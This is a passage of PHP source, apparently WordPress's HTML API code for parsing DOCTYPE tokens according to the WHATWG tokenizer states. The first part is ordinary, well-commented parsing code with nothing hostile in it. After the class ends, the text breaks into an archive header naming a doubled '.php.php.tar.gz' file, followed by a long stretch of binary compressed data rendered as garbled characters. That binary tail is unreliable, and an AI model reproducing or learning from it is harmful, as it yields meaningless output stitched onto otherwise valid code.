		 * specification for the DOCTYPE related tokenizer states.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-state
		 */

		/*
		 * - Valid DOCTYPE HTML token must be at least `<!DOCTYPE>` assuming a complete token not
		 *   ending in end-of-file.
		 * - It must start with an ASCII case-insensitive match for `<!DOCTYPE`.
		 * - The only occurrence of `>` must be the final byte in the HTML string.
		 */
		if (
			$end < 9 ||
			0 !== substr_compare( $doctype_html, '<!DOCTYPE', 0, 9, true )
		) {
			return null;
		}

		$at = 9;
		// Is there one and only one `>`?
		if ( '>' !== $doctype_html[ $end ] || ( strcspn( $doctype_html, '>', $at ) + $at ) < $end ) {
			return null;
		}

		/*
		 * Perform newline normalization and ensure the $end value is correct after normalization.
		 *
		 * @see https://html.spec.whatwg.org/#preprocessing-the-input-stream
		 * @see https://infra.spec.whatwg.org/#normalize-newlines
		 */
		$doctype_html = str_replace( "\r\n", "\n", $doctype_html );
		$doctype_html = str_replace( "\r", "\n", $doctype_html );
		$end          = strlen( $doctype_html ) - 1;

		/*
		 * In this state, the doctype token has been found and its "content" optionally including the
		 * name, public identifier, and system identifier is between the current position and the end.
		 *
		 *     "<!DOCTYPE...declaration...>"
		 *               ╰─ $at           ╰─ $end
		 *
		 * It's also possible that the declaration part is empty.
		 *
		 *               ╭─ $at
		 *     "<!DOCTYPE>"
		 *               ╰─ $end
		 *
		 * Rules for parsing ">" which terminates the DOCTYPE do not need to be considered as they
		 * have been handled above in the condition that the provided DOCTYPE HTML must contain
		 * exactly one ">" character in the final position.
		 */

		/*
		 *
		 * Parsing effectively begins in "Before DOCTYPE name state". Ignore whitespace and
		 * proceed to the next state.
		 *
		 * @see https://html.spec.whatwg.org/#before-doctype-name-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at );

		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		$name_length  = strcspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		$doctype_name = str_replace( "\0", "\u{FFFD}", strtolower( substr( $doctype_html, $at, $name_length ) ) );

		$at += $name_length;
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		/*
		 * "After DOCTYPE name state"
		 *
		 * Find a case-insensitive match for "PUBLIC" or "SYSTEM" at this point.
		 * Otherwise, set force-quirks and enter bogus DOCTYPE state (skip the rest of the doctype).
		 *
		 * @see https://html.spec.whatwg.org/#after-doctype-name-state
		 */
		if ( $at + 6 >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		/*
		 * > If the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "PUBLIC", then consume those characters
		 * > and switch to the after DOCTYPE public keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'PUBLIC', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_public_identifier;
		}

		/*
		 * > Otherwise, if the six characters starting from the current input character are an ASCII
		 * > case-insensitive match for the word "SYSTEM", then consume those characters and switch
		 * > to the after DOCTYPE system keyword state.
		 */
		if ( 0 === substr_compare( $doctype_html, 'SYSTEM', $at, 6, true ) ) {
			$at += 6;
			$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
			if ( $at >= $end ) {
				return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
			}
			goto parse_doctype_system_identifier;
		}

		/*
		 * > Otherwise, this is an invalid-character-sequence-after-doctype-name parse error.
		 * > Set the current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus
		 * > DOCTYPE state.
		 */
		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );

		parse_doctype_public_identifier:
		/*
		 * The parser should enter "DOCTYPE public identifier (double-quoted) state" or
		 * "DOCTYPE public identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-public-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-public-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_public_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		/*
		 * "Between DOCTYPE public and system identifiers state"
		 *
		 * Advance through whitespace between public and system identifiers.
		 *
		 * @see https://html.spec.whatwg.org/#between-doctype-public-and-system-identifiers-state
		 */
		$at += strspn( $doctype_html, " \t\n\f\r", $at, $end - $at );
		if ( $at >= $end ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
		}

		parse_doctype_system_identifier:
		/*
		 * The parser should enter "DOCTYPE system identifier (double-quoted) state" or
		 * "DOCTYPE system identifier (single-quoted) state" by finding one of the valid quotes.
		 * Anything else forces quirks mode and ignores the rest of the contents.
		 *
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(double-quoted)-state
		 * @see https://html.spec.whatwg.org/#doctype-system-identifier-(single-quoted)-state
		 */
		$closer_quote = $doctype_html[ $at ];

		/*
		 * > This is a missing-quote-before-doctype-system-identifier parse error. Set the
		 * > current DOCTYPE token's force-quirks flag to on. Reconsume in the bogus DOCTYPE state.
		 */
		if ( '"' !== $closer_quote && "'" !== $closer_quote ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		++$at;

		$identifier_length = strcspn( $doctype_html, $closer_quote, $at, $end - $at );
		$doctype_system_id = str_replace( "\0", "\u{FFFD}", substr( $doctype_html, $at, $identifier_length ) );

		$at += $identifier_length;
		if ( $at >= $end || $closer_quote !== $doctype_html[ $at ] ) {
			return new self( $doctype_name, $doctype_public_id, $doctype_system_id, true );
		}

		return new self( $doctype_name, $doctype_public_id, $doctype_system_id, false );
	}
}
PKE�N\��gnn/html5-named-character-references.php.php.tar.gznu�[�����{�TG�'��n����ݙ���hfzG���yH-Q����SU)����*`g�
(�z�7�ޅ����Q�k�1��+��~��s�p?�����k����Dx�=<<�#+��A�狃�U}�B��z���p�W�r���G���l��@����R��Un0gs�(�U�GqT�E�_W�������_OWW*���ή��������z'�t���n{�%���z6vY�������u=��_��7󋶿i{�Q��j *Gq���r�l���_�ۊ��By��Qmۺ��mma�����WWn��'���/��m��m��6�gۮ�m�n۾�́o�ݳ�7�l{����?n۲��ͻ�ܳ���D�J[�Ro+U�Cm���+M���q����T\	|���-n�]�M0�J�����zK����j1����ϵG[=��k��P�\����ֳ2�r�P/��3���!������DmU��8�Հ��i�����ׯ;�5��Q!r����l_1��/���l��/�٧��Ӑ٧�٦Г��z[��_駶�ugw[��
��+�*�w�P��
�Ŷr4�(8Z����\�Ղ�D�BD��m���AΕ(�d��h沵�W��\sm9�e�yP��&A7�}W
ЏJ�\���Q��(o��붏
��J������F1B+� Ζ۲���@�Ҩ�P5�k��@�ի�6<�1��W���0*�����g�+~�UǕ��G֑I���̍[mLj���� T�҈s���m�q���?�枏���ĮhD�ʙsM�bK������.;T)�]/E�W��r��uI�D���E,�"3���F5O�ݗ����z�Z��k��F�f�������J������~�94������ʟ�����7T�O]C�*�j��i��_���g�8{����������+x͍�_���o�~��򫺛���kt��bT�"B�q�Q�q�77�|��7��o�}�����-ⷄ�2~+���7�o
�u�6�-�|�ފ��o!�[H�R���oo���"��H�v���6(�=��~Q��A�m�|4��w��{�ݍ�O���;��(����;�����/RmF��(�f�ڌVڌ�lF+m��h������>�Q���]P{t�E��"��%߂ܷ �-�-H�e؂�[P�-H��) ǭo��"�V�ڊ�"�V�ߊ�m��؆ܷ�G�!�6�݆|���6�
�ކ��
Զ��6�
4�C���=�yq���ߡ����~���C��!��;�lG�lG�툹���/��Tۑv;�Ey�G����}�z��Gk����#��(������>@�����?��j�pR�@�h�H��%�
;0Zv��v��P�Ԇ�w'������sa'J���	j;Ag'�~/~����{�w��_�s(��]��.����@���]Leۍ�ۍq�tv��nP�
�Aa7�tvc^��ݨ�nP�j{v�svh��=��4���PۃR�����3e/R�E��Eڽh��(�^�ؽ���t�2�j/J�!8ɇ��!h~���>�A�C����b~�8!�G����?������6���>F�>����c��㣄���>A�O����	R}�T� U1��Q񳈙E�,Z)��E[e�VYPȢ��h�,SC[eQ��0���s�!�>�҇\�P�>�Շ���}����W��C^}ȫy�!�(�@3�9�́f#$�9�́Ztr��C�sL
e���<�?���#�<ʟG^y�G^y�G^y���1���1���1���1�~#��yE�%B.r��K��@9B�Dh��Dh�s*B�r��c�#�8�ȥ��~?���(?r��~���~P���P@���J>��<����������(0e�y3h}1�\�� r�A����APD?�����/ ~�)�<����,�<�)���g4(U-�h~j�!�gH�b~�8���~�܏����~����w?R�G�"jZO.�m��E�)��EP+����Q���\�"(��E���z�W�*����/�UD��h�Fc	���c	9��c	9��W	mXB^%�RB.%�R�(���w;~������Q�2�*#�2�*#�2jWF�e�XF�ȷ�:��o��Q�2r/�ve.jWƼ�`e� �
� �
� �
� �
� �
r� �
r� �
r� �
r� �*r�"�*�WA�
�UP��r���\�*hVA�R@��s�@��c�E1�O��c�p�2Ĩi��Ġ�$1(�(I�����y��+F�b���1��RC^5�UC^5�UC^5�UC^5�UC^5�UC.5�Rü�!��!��k�u�XG�u�XG�u�XG�u�XG�u�RG.uЯ�~4h�ڭ�
Pn�r����h�r�h�
�o�~���@�(y
!�!��f�rB^C�k�B�C�e=2�\���rB.Ch�aPF�a�F�a�F�a�?����A�<�D[D�Q��� ���L5:�q~�:�Z�C(�!P>��@��B�È��$���0RFy#�a�=����ou���m��+q���a���_{�������}?�e8H�_ӷ_:]���a�v�28t���������uB������?��N�4E6��.�#	S0���W�r�
@ CJ�/����GM2�(�ˣ1W�s.��J�Ц}<c�H���Q�c<���C���3J�?޴�~a��5�H]��hq����HF�4��Ji��2����}?�5%E��F+es�D/
�. %�r~ӾW+�M�����4Re�Rv�F]�+�~��K_Aw�R�R�'J�Z-z�QΑ>�ex�&��O��-M�4�g8H!�Ae���Ae��5u�{.��.}-�.:wʹ7�#Ӊ�'���5�R/��g�2���W�|�*�ώ)�F���S��B�N����: �pH�V6��V��]%�g3��#��1C.�������Q��Y�)Jx��%����`�!������\i����r��=�e��
���:��sJbc���F�?=������e�ӌd&O�Iڷo����iL{�hDf
?^2��/i4�����@e�h�R5:@C���0:�����d	J�j˿�c�Ǜ��X� D��P�+`�sXSf��z��N�:�z��]�����v�P1:���� f�/�(\u�)��*��q�T=L�[�~I����ߦ����Uʅr���}�a.�yLS8�h"��a	��ת�0	'�)[PA�����	��|��*_q%z9iZ�R�H�)"e�;��׮\D��F�����Q�_SY9`�xo���M���Q#
ܜ1������W�b�~�ܠ�t,�1{
������Qf<y5yY�g��29�L��1y=E��P�=QF]�2+��ÅZ�v�\�4�m����V�!�U�>�O��x�J����Q��j��Z�
�.���\��4�<r�����)x�A�����+c+�.�q#�@��Ep5��9�3+e���CD�)qO�P�k��q�K{��*���.ƨ��9�-B��q�34�P>^�l��=�FE����Ս_��ގ+5s�o%".�ӈ~���]i���UfQ'3�2�I7�r�NZ����;n���AZ#��f�<1�� ��n������x��h
��ʿ����D2�>A��)�Nk��@D�bč�w��U}��1�nj�ԍ�<��c�(6/��X����P�x|�QDq.z�XO�u�����Xٝ�4lO�m�_�Iz����D�bn��lZ�rn��D~����0���a��E�L ����L����?^&\Ӫ9�x�
��)�ڻSK�8LS�<L|���L����k�7�(%З�o�ua�����ʣ_�E.�vǛ�G��]�����q\v���6#�S�=��%ىC5I�LS����2\�>Ĺ���p���'��Ü��X'�҇�>��U�
6��F1ڍ�/hމn(>A��I�G��Џ|�DY���3-U"�D~���J/7��3K�#�-Hk�|Κ�r���3�%�Ɩ��$�,�D�YR���/B3��a}��ę@�J�B�Y�8FS��O���g�(��ܷ����Ұ2�w�T|=q!|M�U&�����:\����:b�q�����-���͙o:�����_o�\��Ɏ^��}j�L�~j΋d���a�Y��/M#���,Jf�p�hj�$9D�!�H)�O�j�	�ؼ>=#�fǶ.b9;��:��}f���}��a�3�%�w�8?�2�����yF��C�r�1٦V� c���~{������c�TT�%�)���P.]�Ǖ�nE�Y�E�9�(�3�3IIi.����M��͆�cR��~f�n���p��Q��މ��o堦�z����)�����z�	���+����&%(!�B�H�B��Z��d�ѼME7Q�yk7�����H"����!�M���s�	S0M=7�k�s�B1*�`��g���D.U��?���-w�q;�]��$��SB�Z/��o���f�h�7����4,U�{�͢��r�,��4Mߥ�0�N)Tklo~�1�g��z�Q(��B�D�t�
3M$�WGA{�Gf��x��B`c��Sn����+LەG���y�;�e�� M�sO�Xy��!_4�H���}S�(Ъ��Umߔ�<Xu{2�z�I(=�H,���7*�>�EB�{t#&�1�=���6ߪڛ�(29&�&�N�w�b�O����4^u�w�%�Q�JKZsj�:��u�@�-�1v�_�+�E��#�X}fԏ!w藘���[h$9��iV2B�L_�h[x�x,eg���eϦ}���i��V?gK���p��D&��в�]|%�?Ӳ�E0�t���yܰ\*y��z���^�vY�rE%l�A�����/���c�g�{3����H2�&�Ɨ.W[h�u����F6[|G?OU�>׈q��G��b�d֕��j{���Հ~�Q,	w)��C��N��x8׃��<&�֩�zsɘ�<'f�T8����E��\�$�|����R��Rr셀���4IY-+#�ֆ����T��m�E�ZK�M��([����U3ހ¨ZՈ�\�ģ�ۚut��Y��E��D������m��a�x[Y;;�����H�b�� ���4���>�)�Z�����a
��Cm=�I��OD��)9�'��)�O�8F^\L�+S�F	[�˧@�Ql4T}&&w!i����ګm,�ͤ0B]뷽���_�!��J���#)��w�POf$L�4�d�P�9��P�a�Q֗R��z�j�dz|���Fx_#�;�2��m��A�@�Md�i�݃J��ʠ:p�����9���'�n+U��Vc�Ȑ�l*�Ɛ��
s{8qo�K�个��֠<T���ǚ����E���#�	�N-���SG�Rk)dN��	����o�2���,���p�!�UX��zطM�Ữ��̌PB�Y�T0��X�f0���Tױm2�Ϥ���&'�/�M���K�Pnk���s�c��4�(����'΁�,z�WeQ���	'}�icI�rK}h&�V�=Y�O�-�:
��mz$m5���^-�Q7���҂Zb_����4��F��C���Cۅ��~�-2�Ig���*
�+�P�*C�F����+�bA{lZڤ��>���z�;��GS[Z5~�[w1u�_�sL�4���;���߿���jѭ�"�;δݟTC�R_���*�����*�H�Ȼ�?����o-�<IS�l7��(��3��{�3���Z_M�\<Kv�S�aW��ק%��n���Ͼgs�#�{s����o)>�˾�=q�5Y1���CƿIHC~�Ѭ�T�g	]�!�
�SW8v�B�T2K.��iO9Q��(���P�3��FƄ̚
*mR�&���K�y���	�_ݨ�O�r�,��zS+����QoG�",�^M�s�ڮ�m�(�w��a��bߧ'Κs"�_1,���[��T��u+��:y��}J�p���?��O��S�r�2J�K|��aY��䬖�Kbt29��7
P^�I}���?��0Ň����TNq�h�)���ʭv��ͭ9v��f��ӊ���
T㭺�+�n.
����@O�F��b�r��Ms��C�;�+Ɔ��q�w�:����U7�c�K@+��&��w�����3����&�m:wx�q�O�� ��U:�1�	��+ߕ��t�B�R���W�0�#L�]��(Y�+�����R�7�[�-��k�ԣگ3�Pl�ut���2�I�x��'i<fd2�7�>�^.g�Zpi	B�'�AB�^���$�k��T	��-ͭd=x4`n���=f|!Z��
1����=bt1ىt�g�!U�m����Ww�iɀA����|���L"�t�=�n�C]��$�Q�Z��a3o� eC>�&�C 1&�^�P���L�(y5Ƒ������˨�����Y��r}T��L�3iSJ71�7�q�i|ãAw\u��16�*�����tH�ߔ���kM-��6�,�N�Ȳ���@d�uk���u2��~"��,:��0er=Mt\?�׏�~�����,]p@j�=����ё)G<�գ|��rb-�%�'�/�Xn������-�v�aVt���ZY�3#Sth�R\�k$���X���Z���\���-���2�h����vWml�-�ܪ�R�3M�z�_�t�Dcw���:�9>�#7D���:u� �I�����6r�(�7���o�F1�������m��$��gkpےL�΅b��18����3ȧ�a���eh��򅠋*j�9��N���}� d$*DS�B�Y��F�ċ��.�W�՞l-�u!�}?P�C��cgr�6S(��<�E���T�Ֆ��:�O�oB����E�CerȦ!9dә��P�QŅ��	+�ۡ���6' �T��0�g���{�#�~"̑D�ثc�b:��E��qჱ+Oj=�5�HD���7�ID90>i��jC����3��Bk�Pm�Iga�$���d*c��s�i��?���^Ɵ���vƟiKٙ��XfX��V���_�V�ƴ��k+k㯷ij�n M�[>����������z3�c�k��q����&f�=uK>6�;n�i|jbyH7yF�5q=^!I0�ob|����q��r�#z��7�?n�5|Ir@Nu_R%� ���[��$�(�
��_�v���$C�lN!�(��ܫ��`��x����	���`c�`���-�mr��1�8�%��G�q�2J�?�h[kj�>�.��#�1�6W��0M�}?`-e��d��H��=��#@��#��Q��lԅ6֓�x�d������2����r�Q���z���6[���V���ü�wE��n�������ä5=L����WRU�����7<��0�
I
���F*����n%v�o�q�DZ�j�ß���H��i'�d)�'����!'�2�턌_OZ��OZ/�m���w�YGs��;��B�u�CD�si"���?ou+�9o5I�y+�>�y��P*����w���4�>�aM��pLtm��Q�:s)>��h��w�c��a���Q��i^V�2�) U��ޙ�cw^	���W5��fV.�h1V�d����p)#a	�l�� �s��K�Y\y���*�"�᧊lv��`y��| |ڼ�����N�#�Z�g���(�j�Gf��T�Mw�5xg��6�\fOS?8����z���7�x<bL��$1�4�NV�y����$ǻA�.R��ZI9��fܜn���ɸ�ļ�k�5�U�N�s��朲��p|4g���QwR��-<L��Hw$~�/���K�_����J��s�XuB�y��)b�9���X�ϧ�]O�S���e�Zw���s�U������EmbA����߽��i�� ���”�S��M�'H�k�:]m?2K�3��1A�OCIG�h�]�'H��c�Oc��<y�c��6��n���F�`9u�\3�F-!~�wǞM�z�A���}�{1�v�ᰦ��{!m�*?����+-��
=����E�?9^ł]o��y"돤�u9۵y��n3����I!�[8����ҭ���:���Y�L}��ξ����_�"H	�D����zA�uv��ZP��wy-(ebsR-(�y��5�����j�||��1��IڕO�ݑI�x�,�)�Q�r:jo��o'�[L�qM��UU�.���<ƒ�+n��ώ
s������h����,�M��͇���|h1%x$�m	V�lLp�������\�Di.���{ԓ��
2��|�4���/h�p��TX��"Q��3��|)��)�:'�p�?%�p�xN�DY��m{Gk���N���yv.�o����ͷ�3���v^�z������rbO���UY���|i=���4��xR��dڗOqһ*�fB�o��q�d�tN���Ƀ��n:)��i��Ӵ��6;�Ѿxc�I�9�ك�)��hla.wj����(��s�^�~��a����r?���qW����Ae����i�����s�T�
�pP�rۮF1z'*f�ڛ��&K��#�aH�{�\���nYJ|ĺ��k�T�ؽ��=HeV�n�QW��~y���v�<�ۯ�7]��zx��� �_� �x�$�}��F�L��7z��y�h�2•���!g6M�����A'ڵ�.`�}��l�VR�nj�"JRֱ�Og�y�7����3Y0V �p����T�{F�B�qė��P`�<����s�����	�6�zb�~�7I
�/M�ϓ�3mi�l�g3m)gU��8��e�x�c0K�@��YV��Z�--��o�Ờ�6�$�T�Y���豤��aiU�j�	��8�݂���*3���}7U�Vxw��ՠxV?�
��3Չg���;��aᚺ��}9�))�S��{�^*M%��T�3�&�Y|	h�sǁ��W����L�ĬI��}E�M �|�Z�d���o��݉��p%U6ސd:׭c
�T�a��g>v��=�/��{�����}?8� ���7J���N1��w��y`���.B�R��Y]\��a�m�]a���ˌ�8�d��lb�K�%�������4�s����̻�~9�Ma*��ԥc>�t�6����,��qM���{52��w)⨿n3��`c=2����tֆ��	�B�ń����JZt��<�ʜ[��gڒ���f� ��f�ͧ��a�Ʀ�c�����w�_<�R��r"f�_�u��Yox4(S)k��Ts[�=�3�{�����#F��4�%�	$$*����W|X��.0��
��Z�HA?��?�
\�
��O�;
c�+��S�:]$�>��a��589s/�5 D���H�g
W�lPa�?k��~z֠�|{e�\J�6:<�����	S0��r�=kP��^9^0js=CP��r�E�@
�#��
z�n)��ɝ�h�T>�c���i�iR���t��1�TP������ko��u�����v{�Ck�+W4?������Wɉ�n:"B&n�q<co��le{Q�	aw��M����K��3����t����#�UE,�,A;(��/ZX���_�aӾ��VS
ш'��E�\��/_m5�%}\�U9Fj�l��N',Y�0�HȍMW�`�۴ͦ�wOB�'����T�Rt������s��|��]�
�
�u�z�y?U�4�^N��S���u;��ϑ�o/Α��/�#a�&�H�
����ur��w��V؇a���"㮙h`��DTx��҇yG�V�5����W�HAߙ�b�<zl�
vGn�fY!v�R&���;\ҠuR�i�?)B��>�+=2˟C�l�T�zsYP��o��ɻ���=t��*	&}�Pė���y������}�
s����J���CY@.�- �?�L�d������Aܪk�A����|ۓؼ��.*���a�j��ʗ���z��=M(��^>���JZ�u������:���W�uV7�?H�W�2V��t�d�
r�ۄ?���N-��������T�J����-�l4��*�}̮�'R"镊��s7%�������d��E³�*��r�B�j?�1��@�ki��:�*3�X���4��Ay�Ǿ�Ϥ����}�[�aj+���x�I+^�|?��lJ������&����O���Y����h9jؤ=3-�ۭO�L��ԔE\����(�|T����'��2��'b1S���L�j���X�OD�<��;.��X?��(�s􆦬��2�`ژ���z8����XW
�G�Ǭ���9�W�fy��#u���y@a�D�O!���״]m��7��=}���K�ȇ@Ql�o�ޠ�WK�lď5�%A
��v�����A�Y��7\j�K{=�������?�473�`ږ�T׺���l1��Mn?��`�[f
��<�h7�E�
�B�%.+^�P�H�u��{d
����>Q��[�	����h����jo�l9_+V����	:��@������$���Ji�,�����Z���R�,~@����R�-�ׇ�@�zi}�0��O~GP>��?�x24�o���o`��M!G�9�T�й� ]_�rP�y`)��LK��nh��6H���0�\\	��`VF���Z���;#�i񋀑>^�02���M�Z
{�U��|��`�q�Ll�Ѷ\'؛�yy��\�w<"�'�c��7���1o��E�S�u�y�z�/h-�[BWEu�t��
'ԇ~��F��^���EW��j5��'�ܞ�fY��Bc�Dǖ�hLLQ�R۴�?S���
qPL��	t|H(��$�ˠlZ���F6�A��Y�jO`a�@����uɈ�z14����Θ��Gܞ:�o�,X���fӿ=�w�d���"Nf�
�W��v3�o{;d����E��-LMW�@���Fs��n�H��26���Z�GUyey�Js{�V!��,٫�
�֗h���9�ې�;<�vpY��}��E��㶜z�gi���gך��z��G�H�0u�aWb@���(�Q��Cl*�3|b��3�����N-�3u��(��#Fq��:�f�bp��}�)	0�xy��-��EP�8�.���ﯻ�I�G-"A#tm�Hy�
� ��l;A�1�pW��^4��/�Q�N��.��f�T_����n=��c�>A��(��=w23D��e6�C4}k�#	�_!)ⱙ[͏��pn�-�!�p�\3Z.�����F���MW�k�Ў^�����Œ�Z[�����+U���baB*4:��1�X��>�̞�2\e�����9�^��_G�V�@�_]�ǔ��x���j|�z�8��wd8K�a���f���Q�6h�Y@�
1�X��N��b�j1�0\3���Q*ǘQ`̤��*������J�s�e���q�8��w+��a�!�)�Z�ii�9}�����?���s^55t���7�k�s�d��@xބ���ˎ6�)�C�+�#Ŗ�U���:L��ę�)������8�E�w"|�•ş�E����ܡ�-k�z��	Uᮡ����p
�#��
�D�^V��QI �j<�Վj�_�1�% �h�~™��ȠJ}��@�@�i�֫cN.�+c�L���kο'�٫ 6�8�]Ǧ�	���i&��%�܏���g��M�2�'oT�WJ�����|���ki�;�]x�"�wQ��I�;3�a��3��JN3��K��*83�a�3K����+�k�����w8���si���Y�0���0�p��v��H{����S���^F��9L�����z]x�p�r�/q�%�ܞC��*��������^��0�p{��JDq�J�U���g����jQJH��<t����b�0��N•���I��wcP1Lc��Y	��Z<�pO���Ew	x�A9-��eP����4�+�
�"���3(�����>���|�0��Ơ�g�4�à'�9���Me1�Yc�S�͠����Ig��1(i/�aP�^��O����o�e�5.p��5.<��^e��{�A���>_�!��zR��n0(�q�;=e�!O9���������Y@�,n�<(��Z�?��F�7�&#|k�x'E/����MXM?$�6/0��@��#SҵJq�[�9b����d�WGNS�ˇ���Fq�H|�9��p�(������+�Q�9ؔu�G��4�VtQ<-�]׽"�J�&:+��^�J�X�Y������ih��zW><�`��75��r�4O�+�(=�z���|��7�#m��E��䲾�e�����'(\��(WW��$�eܕb���iO�#��c�?A�*���B�t+Iӗ��ק���Q�A�\�b8$�A"]�G`}+�B����j����WM��(6���jx�-"9��I
˃�K���+/h����Pc`�ä��0��0iH�����UYhV0`û��n�Ţ�Q�X#Ǘ�M��:^��T�8�3�9�T~Ej��%D���9D���0��ޣ�5�N��W���*1P��0�Ó�.�%���ʹ��*�r�Qn)���5'aڜ��*�T�l��P�kXm����֟p���d�1h�]�}��ӌE��c�[���r�J������׫ɫ�����>��/���3k�Z\:�q�?]P�rq��UK�8���cE�6Lf�7U
4����5��֘���t% ��9�$C�Gk��5��݀��QΏӯ��e<;��g���(Z���E�%��\��mg,�u� �\?���I��.�9Tl��j��N0�ae|I/Cj�H*�J��~w�[�8��(�$�DW^ �< <��-|*��N��F?\d/!�hi��M���p�yQhm�!�i��2�P,�wG2�/0	~��B��y7��1�%��P��M=\=nn�z����𦮾ĉݨ'����f������Ѡ��e����4ՙ�8.
��`�e/�����*�|:'�t����ʜ��"��vr,6��\;ɣ����:���.�zMϸsN�wn{��2��QXĥ'���v��Pк��gy��ބ8���5H~	^Ss�\��}�4�ܔ�c��P��u'`=�|d�Pt�G�%�nL��fN0A3GUm���"̸|5�)�.��>�,
�/E��gH� ���B���4��H��&Oz
Z��Գ/�)U�P���u���k帏/�m�Y�.5�����
1n쒢dC�E9�hk�?K�ͽv# �⌜����8��y�2[��8d��í����P3s0�89��8+,�xܛ�z�""οTD���k��Ǭ��x�-��V���G+�U�q+4�(�&MV�+9�}T�\m�>�h,gN�H��S��/�ܩD*�P!w���;f�jھ�N��P�M����`s~B���oe�`{�p
՝f>��{3〢-<!����<3�3���j̻�����4j����mi���%��NyU1��#v�?㭞�F݌���[�Qͷ�~7@4p��0��YoD�1��Q�����5,�+_��qb�›�Į�-��q'�a�ub�8aNg���V^�/]�J�C
�u��}�fj�/� ���7|��6��5p���aۭU>�H��R&?�����),.�v�>���M�,��P!U�^%<��<�[�ŵŀل��4�o��|=#ܖ�k�+僆J-��`�O �@3�'d��A��z=gȬ~bZF //�6?bL.)5��$<w������*�.*���R�W0J�vfK&���"�Zǐ䠭�6U�"���!_�Ubj�i��9 ��j5�x��"0o�^q��:q��Z����@��7p��c5����s3��L��H�<�R���>q�?uP��/T,��KI���{9yx������Z�H���b:��q;��OTO��u{�3�w�c��+�������8�캪��!����	��FR=�P[�l�w�u��V�X�3�S�G�)F����2�3Mcg�i�>$����r�7��~�V�Ւ97��A�r�7v�S�DK趐z���b1��z\ �4:��0�O���o)2@:�sk��2g�:|r_t�k�1��󽴍�.�˵��a��h�=H\T�m�pa@d�9b��pֵM�#������>z�=�h���	c�����u�hT
����4�l��]����O3���Xw-܅�Ej0��
Z������_M��&��$�`I�q2U(�J`��ݲ&p�_�WXL�2��D���2ˆ�{f��{�KĶ��ry�@�VQ���<F�T�N댉s��Z�r��iu\4P��z)#<���X�7X�@���2�'L�U#X�>��Y�̪:?Dt�~Áo��U�HM���@������ |z��<P��=o�3c���
B;���-]���U�;I�F�
p�K
��b3�
B�91�/Thc�X�G�	�PxV���;k�CG�<*s)ܚ�=�j�C|B�����"1�����Иګ���䲡&��~�'���?�v�9��|�A,��?K�3�EBer�'�O֚���ЅUn���	?Sd��_,�~�c4�g�{�r�:��1��υC�&x
�C�C�+O�u�`8�P�=��s�d���^<-�ۍ�P:�6H��-�a�kb]=\:n�'�A��Ս2Ҽ�{@�W�N�qc��)�Od�N� ��5�L�eg��T�t>��-�68@X$W�ܣ�o���w�<#�&:��ZZ%�=�a���>�W�'d�D�X��Չ
_ԩ���H��FL��G�d�$\�E�����mo_��B���-���\=+7�У���	�e�pΕ�/4�>C@V
CJ���>�1߹�О��/Bi���.�@��N��B�~��FbE5o���P6�wu�l\�K�ؗՇ���Ϗ�}�U���(�(�P����)0{�t����x<
V���2�����1�3����3D�,�'��3��K�&{�^&.3�%�q=��/R��d��h��/��.SUB����l�t��6}S���Uq�'~�v����/2�8�Ċ�xX��R\k�1��nJ��쯒)vik�`}Ye��8�#;��2�u��yܺ��;	wӇz�,�\e��/�4���ߋ�Ƈ� �5�������v��
nH:��]���]>;�"Gh$�l�8���$��|/�	(R���w�����3�|Y�7��p�'wA`�~��N!�\@������5����Kw����_gx�����ʆ����EE	%��5�&q���V��o�;�nաp`3���m‹�ʳ��Ad��]'�4��f��X�#��%얘$�ku,m[�?!� Y�W������'r٪*��ߜ����O7kb����q�U��ʙ����|6��V�EW��6��X��
_
 AG=D��"�z��Hhu��p q��8"�@�M��HpΌRv"C���
R6nM��x��9��/�.z��*��j� e���km6:y<�p�����>*	d~�r�1�Z�Y��%IaQR/��ڎM9&��}��?M]6�|1P(�5G�6��P�8��V���г��",��t�HN���3��(4O!*���;&�bO*�o�h���7�6�)/��IG�,C�FM�e�)6e�o�����F�3KOUݪVI�����qfx����
q;��:nj�t��jU
